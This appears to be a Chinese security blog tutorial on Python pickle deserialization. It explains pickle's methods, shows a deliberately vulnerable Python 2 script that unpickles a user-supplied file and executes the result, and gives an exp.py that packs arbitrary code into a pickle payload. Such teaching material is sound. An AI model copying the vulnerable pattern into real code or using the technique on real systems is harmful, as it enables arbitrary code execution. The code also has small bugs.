python pickle反序列化漏洞_【反序列化】Python反序列化之pickle篇

0x01 前言

前两天在安全客中看了一篇python对象注入的文章，感觉写的很好，就学习一下，在此记录一下。

0x02 Python之pickle

在研究python反序列化漏洞之前，我们需要了解本次研究的主体：pickle模块

这里主要需要知道4个方法：

dump()

dumps()

load()

loads()

pickle.dump(obj, file, [protocol])

dump()会将对象序列化后写入一个文件中，其中，文件需要有write接口，protocol代表的是协议，当protocol=0的时候表示序列化对象用可表示的ascii码写，当protocol=1的时候代表用二进制表示，那么文件就要用wb模式打开，当protocol=2的时候也是用二进制表示，在python2.3之后的版本可以使用，会更高效一些，默认protocol=0。

pickle.dumps(obj)

与dump()不同的是，dumps()只是将序列化对象当作字符串返回

pickle.load(file)

load()会读入file的内容，并将其反序列化为对象，file的内容要求是序列化的内容。

pickle.loads(pick_data)

loads()会将序列化的字符串反序列化为对象

cPickle与pickle的用法差不多，但是cPickle使用C语言写的，别pickle更高效，现在大部分都会使用cPickle来代替pickle了。

0x03 Python对象注入之pickle

什么是对象注入？回想一下之前讲PHP反序列化漏洞的时候的概念，其实差不多，在pickle中，序列化的过程是没有问题的，但是当反序列化的过程中，如果用户的输入被传入unpickling中时，那么就有可能存在对象注入的风险。

举个例子：

import cPickle as pickle

import os, sys

arg = sys.argv[1]

class Test(object):

def load(self, filenmae=None):

with open(filenmae, 'rb') as pick_file:

self.doWork = pickle.load(pick_file)

self.workDone = self.doWork

def final_workout(self, unpickled_data):

self.filename = "code.py"

self.writeinto = open(self.filename, "w")

self.writeinto.write(unpickled_data)

print "Flag = 1"

self.writeinto.close()

os.system("python2 {}".format(str(self.filename)))

if __name__ == '__main__':

test = Test()

test.load(arg)

unpickled_data = test.workDone

test.final_workout(unpickled_data)

这段代码中，首先他有一个接受用户输入的功能，并且反序列化了用户的输入，并放入一个叫做code.py脚本中执行，那么我们就可以构造特定的字符串来执行我们想要的功能。

0x04 漏洞利用编写

exp.py

import cPickle as pickle

filename = "pickle_data2.txt"

code = "code.txt"

class Test(object):

def load(self, code):

self.code = code

self.readin = open(code, "r")

self.readin_data = self.readin.read()

self.done = pickle.dumps(self.readin_data)

def write_into(self, filename, pickle_data):

self.writeinto =open(filename, "w")

self.writeinto.write(pickle_data)

print "Writing pickle data into the file..."

self.writeinto.close()

def read_into(self, filenmae):

self.filename = filename

self.readinto = open(filename, "r")

self.ret_data = self.readinto.read()

print "\n\n"

print "Pickle data: \n\n"

print self.readin_data

if __name__ == '__main__':

test = Test()

test.load(code)

pickle_data = test.done

test.write_into(filename, pickle_data)

test.read_into(filename)